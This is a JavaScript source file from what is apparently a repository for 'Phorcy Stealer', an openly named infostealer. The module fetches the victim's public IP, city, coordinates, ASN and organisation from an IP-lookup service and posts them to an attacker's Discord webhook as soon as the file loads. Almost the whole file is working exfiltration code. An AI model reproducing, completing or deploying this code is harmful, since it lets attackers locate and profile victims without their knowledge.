Files
phorcy-stealer/Utils/ip-info.js
2023-11-15 18:49:22 -05:00

101 lines
3.0 KiB
JavaScript

/// coded by syntheticuhh
/// IP-INFO FOR PHORCY STEALER
const axios = require('axios');
/// const config = {
/// webhook: "https://discord.com/api/webhooks/xxxxx/xxxxxxxxx"
/// };
async function getipinfo() {
let ipinfo;
try {
const getreq = await axios.get('https://ipapi.co/json');
const json = getreq.data;
ipinfo = {
ip: json.ip,
network: json.network,
version: json.version,
city: json.city,
region: json.region,
Regcode: json.region_code,
country: json.country,
country_name: json.country_name,
country_code: json.country_code,
capital: json.country_capital,
country_tld: json.country_tld,
continent_code: json.continent_code,
in_eu: json.in_eu,
postal: json.postal,
latitude: json.latitude,
longitude: json.longitude,
timezone: json.timezone,
utc: json.utc_offset,
call_code: json.country_calling_code,
Money: json.currency,
Money_Name: json.currency_name,
language: json.languages,
area: json.country_area,
population: json.country_population,
asn: json.asn,
org: json.org
};
} catch (error) {
console.error('Error: Failed To Connect');
ipinfo = {
ip: 'failed',
network: 'failed',
version: 'failed',
city: 'failed',
region: 'failed',
Regcode: 'failed',
country: 'failed',
country_name: 'failed',
country_code: 'failed',
capital: 'failed',
country_tld: 'failed',
continent_code: 'failed',
in_eu: 'failed',
postal: 'failed',
latitude: 'failed',
longitude: 'failed',
timezone: 'failed',
utc: 'failed',
call_code: 'failed',
Money: 'failed',
Money_Name: 'failed',
language: 'failed',
area: 'failed',
population: 'failed',
asn: 'failed',
org: 'failed'
};
}
const ipembed = {
username: 'IP-INFO // Phorcy Stealer // T.me/Phorcy',
avatar_url: 'https://o.remove.bg/downloads/35158b30-2f72-4dae-8e2f-3513ce002c37/logo-removebg-preview.png',
embeds: [
{
title: 'IP-INFO',
description: 'Import Ip-Info',
color: 0x00008B,
fields: [
{ name: 'IP', value: `\`\`\`${ipinfo.ip}\`\`\`` },
{ name: 'Location', value: `\`\`\`${ipinfo.city}, ${ipinfo.region}, ${ipinfo.country}\`\`\`` },
{ name: 'Coordinates', value: `\`\`\`${ipinfo.latitude}, ${ipinfo.longitude}\`\`\`` },
{ name: 'Timezone', value: `\`\`\`${ipinfo.timezone}\`\`\`` },
{ name: 'Currency', value: `\`\`\`${ipinfo.Money} (${ipinfo.Money_Name})\`\`\`` },
{ name: 'Languages', value: `\`\`\`${ipinfo.language}\`\`\`` },
{ name: 'ASN', value: `\`\`\`${ipinfo.asn}\`\`\`` },
{ name: 'Organization', value: `\`\`\`${ipinfo.org}\`\`\`` },
],
},
],
};
try {
await axios.post(config.webhook, ipembed, { headers: { 'Content-Type': 'application/json' } });
console.log('sent');
} catch (errors) {
console.error('error', errors.message);
}
}
getipinfo();